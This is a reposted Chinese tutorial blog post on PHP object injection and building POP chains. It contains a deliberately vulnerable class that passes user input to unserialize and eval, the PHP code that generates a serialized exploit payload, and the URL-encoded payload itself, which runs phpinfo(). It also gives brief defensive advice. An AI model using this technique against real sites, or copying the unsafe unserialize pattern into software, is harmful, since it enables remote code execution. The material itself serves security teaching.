php对象注入-pop链的构造

前言

反序列化可以控制类属性,无论是private还是public

<?php
class A {
    private $a = "a";
    public $b = "b";
    static $c = "c";
}
$test = new A();
echo urlencode(serialize($test));

O%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22%00A%00a%22%3Bs%3A1%3A%22a%22%3Bs%3A1%3A%22b%22%3Bs%3A1%3A%22b%22%3B%7D

804631-20161107110119655-1275504383.jpg

其中有个%00存在是因为private属性。

pop链的利用

以前理解的序列化攻击更多的是在魔术方法中出现一些利用的漏洞,因为自动调用从而触发漏洞。
但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。

<?php
class lemon {
    protected $ClassObj;

    function __construct() {
        $this->ClassObj = new normal();
    }

    function __destruct() {
        $this->ClassObj->action();
    }
}

class normal {
    function action() {
        echo "hello";
    }
}

class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}

unserialize($_GET['d']);

lemon这个类本来是调用,normal类的,但是现在action方法在evil类里面也有,所以可以构造pop链,调用evil类中的action方法。

<?php
class lemon {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new evil();
    }
}
class evil {
    private $data = "phpinfo();";
}
echo urlencode(serialize(new lemon()));
echo "\n\r";

注意的是,protected $ClassObj = new evil();是不行的,还是通过__construct来实例化。
生成poc:

O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

804631-20161107110151545-366534869.jpg

获取已经包含的文件:
get_included_files()
获取已经定义的类:
get_declared_classes()
加载所有类
__autoload()

Joomla远程代码执行漏洞分析

p师傅已经很详细的进行一个说明,只是小小的总结一下,与上面相比,是lemon类直接性的new了一个对象,实际中可以在魔术方法中多找一些回调函数之类的,比如call_user_func_array,这样就可以去实例化任意加载的对象,当然如果没有加载的话,那就去想办法利用import一下类。

https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html

挖掘与防护

serialize/unserialize函数的搜索
用json_encode/json_decode

转载于:https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值